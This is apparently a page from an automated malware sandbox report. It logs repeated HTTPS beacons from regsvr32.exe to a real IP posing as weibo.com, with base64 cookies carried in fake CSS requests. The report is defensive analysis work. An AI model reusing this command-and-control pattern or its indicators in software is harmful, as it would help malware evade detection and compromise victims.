
2022-02-08 23:07:13 UTC 1030 IN Data Raw: 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 
Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

30 192.168.2.6 49793 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:43 UTC 1089 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:44 UTC 1089 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:43 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 149 of 191



2022-02-08 23:07:44 UTC 1090 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

31 192.168.2.6 49794 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:44 UTC 1091 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:44 UTC 1093 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:44 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:44 UTC 1093 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

32 192.168.2.6 49795 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:44 UTC 1092 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:44 UTC 1094 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:44 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:44 UTC 1095 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

33 192.168.2.6 49796 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:46 UTC 1096 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:46 UTC 1097 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:46 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:46 UTC 1097 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

34 192.168.2.6 49800 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:48 UTC 1099 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:49 UTC 1100 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:49 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:49 UTC 1100 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

35 192.168.2.6 49801 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:49 UTC 1100 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:49 UTC 1102 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:49 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:49 UTC 1102 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

36 192.168.2.6 49803 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:49 UTC 1104 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:50 UTC 1105 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:50 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:50 UTC 1105 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

37 192.168.2.6 49804 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:52 UTC 1106 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:52 UTC 1107 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:52 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:52 UTC 1107 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

38 192.168.2.6 49805 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:53 UTC 1109 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:54 UTC 1110 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:53 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:54 UTC 1110 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

39 192.168.2.6 49806 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:54 UTC 1111 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:54 UTC 1112 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:54 GMT
Server: nginx
Content-Type: text/css
